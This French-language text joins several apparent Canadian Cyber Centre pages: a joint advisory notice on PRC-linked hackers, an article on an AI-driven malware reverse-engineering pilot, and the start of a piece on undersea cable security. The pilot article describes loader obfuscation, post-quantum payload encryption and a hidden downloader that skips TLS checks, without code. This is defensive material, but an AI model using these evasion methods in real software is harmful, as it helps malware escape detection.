Le Centre canadien pour la cybersécurité (Centre pour la cybersécurité) s’est joint au Federal Bureau of Investigation (FBI) des États-Unis et aux partenaires étrangers suivants pour publier un bulletin de cybersécurité portant sur des auteurs de menace associés au gouvernement de la République populaire de Chine (RPC) qui ont recours à une combinaison d’outils de piratage manuels et automatisés pour voler de l’information sensible :

• la Cybersecurity and Infrastructure Security Agency (CISA);
• la National Security Agency (NSA);
• le National Cyber Security Centre du Royaume-Uni (NCSC-UK);
• le National Cyber Security Centre de la Nouvelle-Zélande (NCSC-NZ);
• l’Australian Signals Directorate (ASD);
• l’Agence nationale de police (NPA) du Japon;
• l’Office national de cybersécurité (NCO) du Japon;
• le Centro Nacional de Inteligencia (CNI) de l'Espagne.

Ce bulletin conjoint décrit la manière dont des auteurs de menace liés à la RPC exploitent des réseaux dans plusieurs secteurs. Il fournit aux organisations une analyse des tactiques, techniques et procédures (TTP) et des indicateurs de compromission (IC) en lien avec les menaces que représentent ces auteurs.

Les responsables de la défense réseau peuvent appliquer des stratégies de détection et d’atténuation qui réduisent les risques que des auteurs de menace compromettent des données essentielles. Les organisations peuvent prendre les mesures immédiates suivantes afin de se protéger des activités de cybermenace liées à la RPC :

• désactiver les services et les ports non utilisés, tels que les protocoles de configuration automatique, d’accès à distance ou de partage de fichiers;
• expurger les entrées d’utilisatrices et utilisateurs dans les applications Web pour prévenir l’injection de scripts intersites (XSS) contenant des charges de virus;
• mettre en œuvre des stratégies de gestion de l’identité, des justificatifs d’identité et de l’accès (GIJIA) et exiger l’authentification multifacteur (AMF) pour accéder aux services, dans la mesure du possible.

Consultez la version intégrale du bulletin conjoint : Chinese Government-linked Cyber Threat Actors Combine Automated and Hands-on Hacking Tools to Steal Sensitive Data (PDF, en anglais seulement)

Introduction aux travaux du Centre de la sécurité des télécommunications Canada liés à l'intelligence artificielle en cyberdéfense

Cet article technique est le deuxième d'une série consacrée aux travaux du laboratoire d'IA de pointe. Pour en savoir plus sur le laboratoire d'IA de pointe, consultez notre premier article : Comment le Centre canadien pour la cybersécurité a utilisé l'IA de pointe pour accélérer l'ingénierie des détections. La série présente les résultats des recherches du laboratoire, notamment les applications potentielles de l'IA de pointe en cyberdéfense, les limites de ces technologies, ainsi que les considérations liées à leur utilisation efficace, sécuritaire et responsable.

Ce deuxième article porte sur la rétro-ingénierie des maliciels, soit le processus consistant à déconstruire un maliciel sans disposer de son code source d'origine afin d'aider les responsables de la cyberdéfense à comprendre son fonctionnement et son objectif. À mesure que les cybermenaces continuent d'évoluer et que les organisations traitent des volumes croissants de données, l'IA pourrait appuyer certains aspects de ce travail.

En s'appuyant sur des scénarios de test, l'article examine comment le projet pilote a utilisé l'IA pour transformer des échantillons de maliciels inconnus en produits de renseignement validés. L'évaluation a examiné comment l'IA pouvait aider les analystes dans des activités telles que le triage, l'ingénierie des détections et la production de rapports. Tout au long du projet pilote, une supervision humaine est demeurée au cœur du processus : les analystes ont orienté les enquêtes, validé les constats et examiné les évaluations d'attribution.

Sur cette page

• Aperçu : Fonctionnement du pipeline de rétro-ingénierie des maliciels alimenté par l'IA
• Échantillon de maliciel 1 : Analyse d'un chargeur dissimulé
• Échantillon de maliciel 2 : Un programme d'installation inconnu résistant à l'analyse
• Résultats et avantages opérationnels
• Prochaines étapes de l'utilisation de l'IA de pointe par le Centre pour la cybersécurité

Aperçu : Fonctionnement du pipeline de rétro-ingénierie des maliciels alimenté par l'IA

Dans le cadre du projet pilote, le Centre pour la cybersécurité a utilisé des modèles d'IA de pointe pour mettre en place un pipeline automatisé de rétro-ingénierie des maliciels. Le pipeline a été conçu pour transformer des échantillons de logiciels malveillants inconnus en produits de renseignement validés, tout en réduisant au minimum l'intervention humaine.

Pour les échantillons évalués, les produits de renseignement comprenaient des rapports d'analyse, un mappage avec MITRE ATT&CK, des règles de détection YARA, des signatures réseau et des extracteurs de configuration prêts à être déployés dans Assemblyline 4, l'outil de détection et d'analyse de maliciels du Centre pour la cybersécurité.

Dans le cadre de ce projet pilote, Mythos a été doté des mêmes outils que ceux utilisés par une ou un spécialiste de la rétro-ingénierie, notamment :

• un désassembleur et un décompilateur
• le corpus du Centre pour la cybersécurité contenant des dizaines de milliers de règles de détection YARA
• des décompilateurs .NET et Python
• des cadres logiciels d'émulation de processeur

Concrètement, Mythos coordonnait plusieurs outils spécialisés et marquait des arrêts à des étapes clés afin de vérifier les résultats avant de poursuivre l'analyse. Cela a contribué à garantir que les résultats produits par le système étaient étayés par des éléments observables et que toutes les détections proposées fonctionnaient comme prévu.

Mythos a ensuite coordonné ces outils par l'intermédiaire d'une couche d'orchestration dotée de points de contrôle, qui appliquait deux mesures de protection :

1. Chaque affirmation factuelle figurant dans un rapport devait pouvoir être reliée à un résultat d'outil vérifiable.
2. Chaque artéfact de détection devait être validé à l'aide de l'échantillon réel et évalué par rapport à un corpus plus vaste avant d'être enregistré sur disque, afin de garantir qu'il identifie de façon fiable l'artéfact visé tout en réduisant au minimum les détections non souhaitées.

Figure 1 : Pipeline complet de rétro-ingénierie des maliciels

Pipeline complet de rétro-ingénierie des maliciels - Description détaillée

La figure présente le flux de travaux automatisé de rétro-ingénierie, depuis l'ingestion de l'échantillon jusqu'à la vérification manuelle. La figure présente les différentes étapes du pipeline : la classification et le triage à l'aide du corpus de règles YARA, l'acheminement vers un parcours d'analyse natif, .NET ou de scripts, l'analyse approfondie en parallèle dans six domaines techniques, l'extraction des charges utiles et la réanalyse récursive des étapes récupérées, puis la génération et la validation des artéfacts. La figure montre comment des mécanismes de validation déterministes encadrent le modèle à chacune des étapes du processus avant que les artéfacts ne soient soumis à l'examen des analystes.

Le pipeline commence par l'ingestion d'échantillons de maliciels soumis directement au Centre pour la cybersécurité. Les cas d'essai suivants illustrent comment ce flux de travaux a été appliqué en pratique.

Échantillon de maliciel 1 : Analyse d'un chargeur dissimulé

Le premier échantillon de maliciel démontre comment le pipeline a pris en charge un cas de rétro-ingénierie particulièrement complexe.

Maliciels

Le premier échantillon a été conçu pour rendre difficile la récupération de son contenu caché. Il combinait un mécanisme de chiffrement peu courant à plusieurs couches d'obscurcissement, ce qui obligeait le pipeline à reconstituer la façon dont le maliciel générait ses clés avant de pouvoir révéler la charge utile dissimulée.

Cet échantillon de maliciel était un chargeur développé en Go (Golang) et traité à l'aide d'un compilateur d'obscurcissement. Il protégeait sa charge utile au moyen d'un modèle que ses chaînes de caractères internes décrivaient comme « PQC-PE-AES256GCM ». L'algorithme d'encapsulation de clés post-quantique (ML-KEM-768) était utilisé pour dériver les clés servant à chiffrer 48 segments au moyen d'AES-256-GCM, tandis que le matériel de chiffrement sous-jacent était lui-même fractionné, mélangé et masqué.

Remarque : Dans ce contexte, la cryptographie post-quantique ne procurait vraisemblablement aucun avantage opérationnel significatif à la sécurité opérationnelle du logiciel malveillant. Son objectif probable était d'accroître la complexité de l'analyse en obligeant les responsables de la défense à comprendre et à reproduire un processus inhabituel d'encapsulation de clés et de déchiffrement avant de pouvoir récupérer la charge utile.

Triage YARA, classification et acheminement

Tous les échantillons sont analysés à l'aide de l'ensemble du corpus YARA du Centre pour la cybersécurité, qui contient des dizaines de milliers de règles compilées. Ce triage est appliqué non seulement à chaque échantillon reçu, mais également à chaque charge utile récupérée, puisque les étapes de traitement subséquentes sont tout aussi susceptibles de correspondre à une famille de maliciels connue que le fichier qui l'a distribuée.

Cette étape initiale de triage est essentielle, car une correspondance avec le corpus peut changer de façon significative l'ampleur de l'effort d'analyse et procurer trois avantages immédiats :

1. Une identité de travail : une correspondance associée à une famille permet de rattacher l'échantillon à l'ensemble des connaissances que le Centre pour la cybersécurité possède déjà sur cette famille de maliciels. Si un extracteur existant permet de récupérer la configuration de commande et contrôle, l'analyse peut être conclue en quelques minutes, ce qui permet d'orienter l'échantillon vers les outils déjà établis plutôt que de recourir à une analyse manuelle.
2. Points de départ fondés sur des preuves : chaque règle comprend les décalages des chaînes de caractères ou des motifs d'octets qui ont produit une correspondance. Puisque la règle documente les caractéristiques de la famille de maliciels qu'elle a été conçue pour détecter, ces décalages fournissent des points de départ concrets pour les activités de validation et d'analyse.
3. Éléments probants négatifs utiles : même les correspondances imparfaites fournissent des renseignements utiles. Si un échantillon déclenche une règle associée à une famille, mais que les autres éléments probants ne concordent pas, cet écart devient une hypothèse précise à examiner.

Ensemble, ces résultats contribuent à transformer des enquêtes ouvertes en analyses ciblées, fondées sur des preuves vérifiables.

Le triage YARA permet de transformer les premiers constats en hypothèses ciblées pouvant être mises à l'épreuve, plutôt que d'obliger les analystes à examiner un échantillon à partir de zéro. Dans ce cas, ni l'échantillon d'origine ni les charges utiles récupérées ne correspondaient à une famille de maliciels connue dans le corpus YARA du Centre pour la cybersécurité; le flux de travaux est donc passé à une analyse complète.

Analyse approfondie par l'IA et extraction de la charge utile

Pour récupérer la charge utile dissimulée, le modèle devait d'abord comprendre la logique du maliciel, puis reproduire de manière sécuritaire uniquement les parties de son comportement nécessaires à la génération des clés de déchiffrement appropriées. Les étapes suivantes décrivent comment il a combiné l'analyse du code et l'émulation contrôlée pour y parvenir.

Le modèle a utilisé le décompilateur pour analyser le code dissimulé du chargeur. Il a identifié le modèle cryptographique en analysant la structure du code plutôt qu'en recherchant des constantes connues, puis a reconstitué la chaîne de dérivation des clés.

L'analyse statique a finalement atteint du matériel de chiffrement que le logiciel malveillant ne générait qu'au moment de son exécution. Pour résoudre ce problème, l'agent a créé un environnement d'émulation personnalisé d'unité centrale de traitement (UCT) pour l'environnement d'exécution Go. Il a ensuite exécuté le processus de dérivation nécessaire et recueilli les clés générées ainsi que la séquence des segments chiffrés.

Comme le maliciel avait été délibérément modifié pour résister à l'analyse, son exécution intégrale dans l'environnement d'émulation n'était pas possible. Le système a plutôt traité chaque problème individuellement, en préservant les fonctions nécessaires au déchiffrement tout en simulant de façon sécuritaire les parties moins importantes du programme.

L'émulation d'un binaire Go dissimulé constitue souvent un processus itératif guidé par les analystes. Chaque exécution pouvait échouer dans différentes fonctions d'exécution, ce qui nécessitait des cycles répétés d'analyse des plantages, d'émulation des fonctionnalités et de réexécution. Dans ce cas, l'agent a automatisé ce processus en créant la boucle d'autoamélioration suivante autour de son environnement d'émulation :

• lorsqu'un plantage survenait, l'agent utilisait le désassembleur pour localiser la fonction contenant l'instruction à l'origine de l'erreur, la substituait par un élément de remplacement, puis relançait l'exécution de l'échantillon;
• une liste de fonctions protégées empêchait toute modification de la logique de dérivation des clés. Si un plantage survenait dans une fonction protégée, l'agent l'interprétait comme un indice qu'une fonction appelante en amont avait fourni une entrée non valide et substituait alors cette fonction par un élément de remplacement, plutôt que la fonction ciblée
• les fonctions de l'environnement d'exécution ayant une sémantique réelle étaient mises en œuvre fidèlement plutôt que substituées par des éléments de remplacement simplifiés, puisqu'elles pouvaient générer des clés plausibles, mais incorrectes
• chaque valeur enregistrée faisait l'objet d'une dérivation indépendante au moyen d'une implémentation Python distincte avant d'être utilisée par les étapes subséquentes de l'analyse
• si la même fonction était à l'origine de plantages répétés, la boucle était interrompue et le cas était transmis à une ou un analyste

Figure 2 : La boucle d'autoamélioration simplifiée

La boucle d'autoamélioration simplifiée - Description détaillée

La figure illustre un flux de travaux itératif d'émulation dans lequel un plantage accompagné d'une adresse fautive déclenche une recherche dans le désassembleur à partir de l'environnement Unicorn (itération N), ce qui mène soit à la création d'un nouvel élément de remplacement, soit à celle d'un élément de remplacement appliqué à une fonction appelante en amont lorsque la fonction concernée se situe sur un chemin protégé de dérivation des clés. Une étape décisionnelle détermine ensuite si une capture a été effectuée; dans l'affirmative, les clés et la séquence des segments chiffrés sont vérifiées au moyen d'une implémentation Python pure; dans le cas contraire, le système vérifie si la même fonction a provoqué un plantage à deux reprises. Si c'est le cas, l'exécution est interrompue et le dossier est envoyé à un niveau supérieur à une ou un analyste; sinon, le processus passe à l'itération suivante.

Cette étape était importante, car la dérivation des clés de l'échantillon dépendait du résultat de sa logique anti-débogage. Le simple contournement de ces vérifications permettait à l'émulation de se poursuivre, mais produisait une clé plausible, quoiqu'incorrecte.

Au cours du projet pilote, le modèle et l'environnement d'agent d'analyse des maliciels ont établi la relation entre les résultats des mécanismes anti-débogage et le matériel de chiffrement dérivé. L'environnement a ensuite été ajusté de manière à préserver le comportement requis plutôt qu'à le contourner. Cette approche a ensuite été intégrée au pipeline d'évaluation en tant que capacité réutilisable pour les échantillons dont les mécanismes anti-analyse influencent le déchiffrement ou la récupération de la charge utile.

Les clés et la séquence des segments chiffrés récupérées grâce à l'émulation ont ensuite été utilisées pour créer un extracteur de charge utile pour le chargeur. En reproduisant hors du maliciel le flux de travaux de déchiffrement de l'échantillon, l'extracteur a pu récupérer statiquement la charge utile intégrée.

Détections proposées, validation et résultats

Au cours de l'évaluation, les résultats produits par l'extracteur ont été comparés à une charge utile précédemment récupérée en mémoire vive au moyen d'un débogage manuel réalisé par une ou un analyste. La charge utile de 195 Ko récupérée de manière statique correspondait exactement, octet pour octet, à la version récupérée manuellement.

Les essais réalisés sur des échantillons apparentés ont indiqué que cette technique fonctionnait pour cinq versions distinctes de cette famille de maliciels. Chaque étape récupérée était ensuite réinjectée dans le pipeline afin de faire l'objet d'une nouvelle analyse et d'un nouveau balayage. Ce processus a permis d'identifier la famille de maliciels ACR Stealer et d'établir un lien entre ce nouveau chargeur et des activités malveillantes déjà observées.

Par conséquent, une série d'éléments livrables a été produite puis examinée par une ou un analyste avant d'être transmise à un client ou mise en production :

• un rapport technique complet comprenant un mappage avec MITRE ATT&CK
• des règles YARA pour le chargeur et ses artéfacts de distribution
• un extracteur de configuration et de charge utile conçu pour le Centre pour la cybersécurité et intégré à sa plateforme automatisée d'analyse de maliciels au moyen du cadre MACO de source ouverte

Figure 3 : Résultats de l'extracteur de charge utile Gatestomp

Résultats de l'extracteur de charge utile Gatestomp - Description détaillée

L'image montre une capture d'écran de l'interface « ConfigExtractor » affichant des renseignements sur le chargeur Gatestomp ainsi qu'une description faisant référence à un analyseur de configuration PQC-PE-AES256GCM. Dans la partie inférieure, une section de type JSON intitulée Other data répertorie une charge utile sous l'entrée binaries, accompagnée de données encodées et d'une liste decoded_strings contenant notamment des chemins d'accès de fichiers système Windows, tels que ntdll.dll et wmsxml3.dll. Dans l'ensemble, l'interface illustre comment l'analyseur met en évidence à la fois des attributs de haut niveau et des artéfacts de bas niveau afin d'aider les spécialistes de la rétro-ingénierie à valider l'identification de la famille, à confirmer les caractéristiques de chiffrement et du mécanisme de protection, et à orienter leurs recherches sur les menaces à partir des indicateurs décodés.

Échantillon de maliciel 2 : Un programme d'installation inconnu résistant à l'analyse

Le deuxième échantillon de maliciel démontre la capacité du pipeline à reconstituer rapidement la chaîne de distribution, en évitant de se laisser distraire par la taille de l'échantillon, ses signatures et son contenu leurre.

Maliciels

Cet échantillon de maliciel reposait sur trois programmes d'installation surdimensionnés, signés de manière légitime, conçus pour ressembler à des logiciels commerciaux ordinaires et pour détourner les efforts d'analyse automatisée. Chaque programme d'installation :

• avait une taille variant entre 76 Mo et 175 Mo
• était doté d'une signature Authenticode Microsoft légitime
• comprenait une structure d'apparence légitime, des environnements d'exécution intégrés et de grandes quantités de contenu leurre

La fonctionnalité malveillante était minime, mais délibérément dissimulée.

Triage YARA, classification et acheminement

Comme indiqué précédemment, tous les échantillons sont analysés à l'aide de l'ensemble du corpus YARA du Centre pour la cybersécurité, qui contient des dizaines de milliers de règles compilées. Ce triage est appliqué non seulement à chaque échantillon reçu, mais également à chaque charge utile récupérée, puisque les étapes de traitement subséquentes sont tout aussi susceptibles de correspondre à une famille de maliciels connue que le fichier qui l'a distribuée.

Cette étape initiale de triage est essentielle, car une correspondance avec le corpus peut changer de façon significative l'ampleur de l'effort d'analyse et procurer trois avantages immédiats :

1. Une identité de travail : Une correspondance associée à une famille permet de rattacher l'échantillon à l'ensemble des connaissances que le Centre pour la cybersécurité possède déjà sur cette famille de maliciels. Si un extracteur existant permet de récupérer la configuration de commande et contrôle, l'analyse peut être conclue en quelques minutes, ce qui permet d'orienter l'échantillon vers les outils déjà établis plutôt que de recourir à une analyse manuelle.
2. Points de départ fondés sur des preuves : Chaque règle comprend les décalages des chaînes de caractères ou des motifs d'octets qui ont produit une correspondance. Puisque la règle documente les caractéristiques de la famille de maliciels qu'elle a été conçue pour détecter, ces décalages fournissent des points de départ concrets pour les activités de validation et d'analyse.
3. Éléments probants négatifs utiles : Même les correspondances imparfaites fournissent des renseignements utiles. Si un échantillon déclenche une règle associée à une famille, mais que les autres éléments probants ne concordent pas, cet écart devient une hypothèse précise à examiner.

Ensemble, ces résultats contribuent à transformer des enquêtes ouvertes en analyses ciblées, fondées sur des preuves vérifiables.

Le triage initial a permis de déterminer que les fichiers étaient des documents composites OLE et des programmes d'installation MSI, plutôt que des exécutables traditionnels. En l'absence de toute correspondance avec une famille de maliciels dans l'ensemble du corpus YARA, l'échantillon a été considéré comme inconnu et acheminé vers une analyse complète.

Analyse approfondie par l'IA et extraction de la charge utile

Pour le deuxième échantillon, la principale tâche consistait à isoler la petite portion de code malveillant d'un important volume de fichiers d'apparence légitime et d'éléments de remplissage. Plutôt que d'examiner chaque fichier en profondeur, le pipeline a suivi la structure du programme d'installation afin de déterminer quels composants étaient réellement exécutés.

L'analyse a permis de reconstituer statiquement la chaîne de distribution. Chaque programme d'installation MSI, créé à l'aide d'un outil d'empaquetage couramment accessible, contenait une archive Cabinet (CAB) intégrée dans un flux de données OLE. L'extraction de l'archive a produit de 105 à 144 fichiers représentant entre 137 Mo et 231 Mo de données non compressées, dont la presque totalité correspondait à du contenu leurre, notamment :

• un script de lancement d'une seule ligne
• un environnement d'exécution Python complet et légitime intégré
• un script d'entrée camouflé sous l'apparence d'un fichier texte anodin.

Le script d'entrée constituait l'élément distinctif de cette famille de maliciels. Dissimulée dans des pages de texte de remplissage, une seule ligne se décodait, d'abord depuis le Base64 puis depuis l'UTF-32, pour produire un téléchargeur de huit lignes.

Le téléchargeur récupérait du contenu à partir d'une adresse URL au moyen d'un canal de protocole TLS sans vérifier le certificat, attendait un intervalle prédéfini, puis exécutait la réponse obtenue. Cette courte séquence est devenue le principal point d'intérêt de l'évaluation, puisqu'elle révélait la capacité malveillante fondamentale de l'échantillon.

L'auteur de menace a misé sur les éléments suivants :

• l'achat d'un certificat de signature de code
• un corpus de 100 fichiers leurres
• des centaines de mégaoctets de contenu de remplissage
• un environnement d'exécution intégré dont la conception visait à rendre difficile l'analyse détaillée, tant par les outils automatisés que par l'analyste humain

Le défi ne résidait pas dans la complexité de la chaîne de distribution, mais dans le volume de contenu qui l'entourait. Le modèle a suivi directement la structure du programme d'installation à partir des éléments suivants :

• du programme d'installation à l'archive
• de l'archive au script de lancement
• du script de lancement au fichier qu'il exécutait

Une fois arrivée à cette étape, la ligne cachée est ressortie clairement, car elle constituait le seul contenu qui se décodait en une charge utile significative. Dans le cadre de cette évaluation, le flux de travaux a complété le parcours structurel et le processus de décodage en moins d'une seconde par échantillon.

Figure 4 : Une seule ligne parmi les leurres

Une seule ligne parmi les leurres - Description détaillée

La figure montre, à gauche, une reconstitution du script d'entrée de cette famille, où plusieurs pages de texte de remplissage composé de mots issus d'un dictionnaire entourent une unique ligne encodée mise en évidence. À droite, elle présente le comportement du téléchargeur de huit lignes révélé par le décodage de cette ligne, sans toutefois divulguer le code lui-même : importation de bibliothèques standard, désactivation de la vérification des certificats TLS, récupération de contenu à partir d'une infrastructure contrôlée par l'auteur de menace, attente pendant un intervalle fixe, puis exécution de la réponse obtenue. La légende souligne l'asymétrie à laquelle sont confrontés les responsables de la défense : repérer manuellement cette ligne exige l'extraction d'une archive de plusieurs centaines de mégaoctets, alors que l'extracteur la récupère et la décode de façon structurelle en quelques millisecondes.

Chaque étape récupérée a de nouveau été analysée au moyen du corpus du Centre pour la cybersécurité. Toutefois, l'infrastructure de commande et contrôle n'était plus active, ce qui a empêché l'observation de l'étape récupérée à partir du serveur. Plutôt que de spéculer sur cette étape, le rapport l'a classée comme inconnue.

Validation, examen par les analystes et mise en production

Une fois la chaîne de distribution reconstituée, le défi suivant consistait à identifier des caractéristiques suffisamment stables pour permettre une détection fiable par les responsables de la défense. L'analyse s'est donc concentrée sur les comportements essentiels au fonctionnement du maliciel, plutôt que sur des détails que la développeuse ou le développeur pouvait facilement modifier d'une version à l'autre.

La comparaison des trois échantillons a montré que le générateur modifiait de façon aléatoire presque toutes les caractéristiques qu'un analyste pourrait utiliser à des fins d'attribution. Le seul artéfact constant observé dans l'ensemble des versions était l'expression « decoy padding » (contenu de remplissage leurre), ce qui lui a valu le nom Lexiloader, dérivé du mot « lexique ». Toutefois, la logique de détection ne reposait pas uniquement sur le nom ou sur le contenu de remplissage leurre. Elle reposait plutôt sur des caractéristiques qui ne pouvaient pas être modifiées d'une version à l'autre sans revoir l'ingénierie de la chaîne de distribution elle-même, notamment :

• le mécanisme de téléchargement suivi de l'exécution
• la désactivation délibérée de la vérification des certificats TLS
• la séquence de décodage du texte qui transforme une unique ligne dissimulée dans le contenu de remplissage en code exécutable

Environ trois heures après la réception de l'échantillon, le pipeline pilote a produit une série de livrables. La production manuelle du même ensemble de livrables aurait normalement exigé un effort considérable de la part des analystes :

• un extracteur complet de configuration prêt à être intégré au Cadre d'analyse automatisée des maliciels - Chaîne de montage (Assemblyline 4), ne nécessitant qu'une analyse syntaxique au moyen de la bibliothèque standard de la structure OLE, l'extraction d'une archive et une seule opération de décodage
• des contrôles automatisés fondés sur des résultats de référence validés afin de confirmer que l'extracteur récupérait systématiquement la même configuration et la même charge utile à partir de chaque échantillon
• une validation menée sur les trois échantillons au moyen de résultats de référence validés, produisant à la fois la configuration commande et contrôle extraite et le chargeur intermédiaire décodé comme artéfacts enfants afin qu'ils soient automatiquement soumis à un nouveau balayage dans Assemblyline
• trois règles YARA candidates couvrant le porteur, le chargeur intermédiaire et une variante observée indépendante du vecteur de distribution, chacune ayant réussi la validation des règles YARA du Centre pour la cybersécurité sans erreur ni avertissement
• un rapport technique complet comprenant un mappage avec MITRE ATT&CK
• des règles YARA couvrant le porteur, le chargeur intermédiaire décodé et une variante indépendante du vecteur de distribution
• un extracteur de configuration et de charge utile conçu pour le Centre pour la cybersécurité et intégré à sa plateforme automatisée d'analyse de maliciels au moyen du cadre MACO de source ouverte

Figure 5 : Résultats obtenus par l'extracteur Lexiloader

Résultats obtenus par l'extracteur Lexiloader - Description détaillée

Cette figure présente les résultats produits par un extracteur de configuration Lexiloader au sein de la plateforme Assemblyline d'analyse de maliciels. L'extracteur a identifié la famille de maliciels, récupéré les indicateurs réseau de commande et contrôle et décodé un téléchargeur Python intégré de première étape, en affichant l'URL associée, le nom d'hôte, les paramètres de communication ainsi que les métadonnées de la charge utile extraite. La configuration récupérée est présentée dans un format structuré comprenant la charge utile décodée, la méthode d'extraction, le hachage cryptographique ainsi que les détails du processus de mise en place du chargeur. Les résultats démontrent la capacité du système à récupérer et à décoder automatiquement les données de configuration du maliciel, afin d'appuyer les activités subséquentes d'analyse et de détection.

Les règles demeurent à l'étape des essais en attendant leur mise en production. Dans le cadre de cette évaluation, environ cinq heures de travail de l'agent ont permis de produire un volume de travail estimé équivalent à environ une semaine d'efforts d'analyse conventionnels. L'évaluation structurelle initiale, consistant à déterminer que les échantillons ne correspondaient à aucune famille présente dans le corpus et à reconstituer leur chaîne de distribution, a été réalisée en six minutes grâce à des vérifications déterministes effectuées dès la réception des échantillons.

Résultats et avantages opérationnels

Une rétro-ingénierie manuelle aussi approfondie peut nécessiter plusieurs jours de travail de la part d'une ou un analyste, voire plusieurs semaines dans le cas d'échantillons complexes. Au cours de la période d'évaluation, le pipeline a mené à bien cinq analyses complexes touchant quatre familles distinctes de maliciels en environ 46 heures.

L'évaluation a démontré les gains d'efficacité les plus marqués lorsque l'environnement de l'agent d'analyse des maliciels ramenait à quelques minutes d'analyse assistée par des outils des tâches qui auraient autrement exigé plusieurs heures d'intervention spécialisée. Ces résultats ont été observés dans plusieurs échantillons distincts. Parmi les autres faits saillants du projet pilote, on peut notamment citer :

• Échantillon de maliciel 3 : récupération complète d'une chaîne d'attaque PowerShell en cinq étapes, sans exécuter le code de l'auteur de menace. Le modèle a réduit 217 Ko de code grandement dissimulé à 15 Ko de code source lisible, ce qui a permis la récupération statique des étapes ultérieures qui auraient échappé à une analyse traditionnelle dans un environnement de bac à sable.
• Échantillon de maliciel 4 : établissement d'un lien entre deux échantillons de chargeur stéganographique et une même exécution du générateur grâce à une analyse au niveau des octets. Les deux échantillons ont été entièrement déconstruits au moyen d'une chaîne de décodage en quatre étapes, permettant la récupération des 31 modules internes du chargeur ainsi que des configurations complètes de commande et contrôle de la charge utile.
• Échantillon de maliciel 5 : identification d'une famille de maliciels jusque-là non nommée en moins de six minutes, après que quatre vérifications structurelles indépendantes ont contredit l'étiquette associée aux échantillons. L'approche privilégiait des vérifications peu coûteuses et déterministes :
  • identification du format de fichier (fichiers MSI signés)
  • un mécanisme de contrôle de la signature de code reposant sur neuf octets dans l'extracteur de configuration de la famille existante
  • des tests YARA bidirectionnels consistant à appliquer les règles de la famille identifiée aux porteurs et aux charges utiles décompressées, puis à effectuer l'opération inverse
  • une anomalie comportementale observée dans l'environnement de bac à sable, signalée dès la réception de l'échantillon par l'analyste

Dans l'ensemble, le projet pilote laisse entendre que l'IA de pointe peut contribuer à accélérer certaines étapes de l'analyse des maliciels et à soutenir la production en temps opportun de renseignements de grande qualité. L'évaluation a également démontré que les composantes les plus importantes étaient les mécanismes de protection entourant le modèle, lesquels avaient été conçus et encadrés par des analystes expérimentées et expérimentés. En automatisant certaines composantes mécaniques du processus de rétro-ingénierie, le projet pilote a permis aux analystes de consacrer moins de temps aux tâches répétitives et davantage de temps :

• à la création, à l'examen et à l'approbation de produits de renseignement
• à l'exploration de questions liées aux campagnes d'activité malveillante, souvent reportées en raison des exigences opérationnelles
• à transformer les leçons apprises de l'analyse en améliorations durables du pipeline

Prochaines étapes de l'utilisation de l'IA de pointe par le Centre pour la cybersécurité

La capacité continue de gagner en maturité, et les leçons apprises de chaque enquête sont intégrées à une bibliothèque réutilisable de compétences d'agent. Cela permet aux améliorations mises au jour dans le cadre d'une enquête de renforcer les performances du pipeline lors des enquêtes subséquentes.

De plus, les extracteurs de configuration et de charge utile validés sont intégrés à Assemblyline 4, ce qui permet l'analyse automatisée des charges utiles au moyen de flux de travaux éprouvés d'analyse de maliciels.

Le Centre pour la cybersécurité continuera de communiquer ses constatations à l'ensemble de la communauté des responsables de la défense par l'intermédiaire de partenariats établis et de contributions à des projets de source ouverte.

Les câbles sous-marins de télécommunications à fibre optique, ainsi que les technologies et les installations qui les soutiennent, constituent des infrastructures essentielles. Bien qu'ils passent souvent inaperçus pour la majorité de la population, ces systèmes sont indispensables à la connectivité mondiale d'Internet et des réseaux mobiles. Ces voies de communication clés relient les personnes partout dans le monde et traversent des étendues d'eau à différentes profondeurs. À l'échelle mondiale, les câbles sous-marins assurent la transmission de la majeure partie des télécommunications internationales, c'est-à-dire les communications mobiles, Internet et militaires. Notre dépendance importante à l'égard de ces systèmes est appelée à augmenter à mesure que les télécommunications poursuivent leur croissance exponentielle.

La présente publication aborde le contexte des menaces et décrit les mesures d'atténuation correspondantes visant à protéger l'intégrité et la fiabilité des infrastructures de câbles. Elle porte principalement sur les réseaux commerciaux de télécommunications et n'examine donc pas en profondeur les risques introduits par les aux réseaux strictement industriels ou militaires, les réseaux non autorisés ou d'autres réseaux clandestins, ni les risques qui y sont associés.

Introduction

Au Canada, les câbles sous-marins de télécommunications assurent la connectivité le long des côtes et entre les îles, permettent de desservir les régions éloignées et facilitent les communications internationales. Ces câbles transmettent divers types de données et jouent un rôle important dans le soutien de nos intérêts culturels, économiques, technologiques et de sécurité nationale. Les besoins de connectivité sont appelés à s'accroître à mesure que les avancées technologiques permettront d'établir des connexions dans des régions auparavant inaccessibles, notamment dans l'Arctique. Bien que des mécanismes de redondance soient intégrés à leurs tracés, les infrastructures de câbles et les points névralgiques de distribution sont susceptibles d'être vulnérables à des défaillances qui auraient des répercussions majeures et constituent des cibles attrayantes pour les adversaires. Il est donc essentiel d'assurer la sécurité, la résilience et l'intégrité des infrastructures de câbles sous‑marins afin de maintenir la stabilité et la confiance.

La présente publication vise à faire mieux comprendre les menaces et les vulnérabilités auxquelles sont exposés les réseaux de câbles sous‑marins et propose des mesures d'atténuation favorisant des infrastructures sûres et résilientes, à l'appui des flux de données nationaux et internationaux.

1.1 Exposition aux menaces

Les réseaux de câbles sous-marins commencent aux points d'atterrissement de câble (PAC) et aux stations d'atterrissement, là où les réseaux terrestres rejoignent le littoral. Ces installations relient les fibres optiques terrestres aux liaisons sous-marines qui mènent à des points d'atterrissement éloignés. Au cours de leur trajet, les câbles traversent trois secteurs géographiques et trois secteurs géopolitiques qui se chevauchent, comme l'illustre la figure 1.

Description longue - Figure 1 : Secteurs géographiques et géopolitiques des câbles sous-marins

La figure 1 illustre la structure de base des réseaux de câbles sous-marins et les différents secteurs qu'ils traversent. Elle est divisée en trois parties afin de montrer le chevauchement des secteurs géographiques et géopolitiques. La première partie de la figure présente une structure rectangulaire qui représente le secteur géographique et qui est divisée en trois colonnes. Les deux colonnes extérieures du diagramme représentent la terre, tandis que la colonne centrale représente l'eau. Les sections terrestres montrent le sol surmonté d'herbe, tandis que la section aquatique est illustrée par des ondulations bleues. Une ligne noire traverse horizontalement l'ensemble des sections, ce qui représente un câble sous-marin qui passe à travers tous les secteurs.

La deuxième partie de la figure présente les secteurs géopolitiques. Elle se compose de trois rectangles placés côte à côte. Le rectangle de gauche représente le territoire national et est identifié par une icône de feuille. Le rectangle central représente les eaux internationales; il est mis en évidence en rouge et porte une icône de point d'exclamation. Le rectangle de droite représente le territoire étranger et est identifié par une icône de globe terrestre.

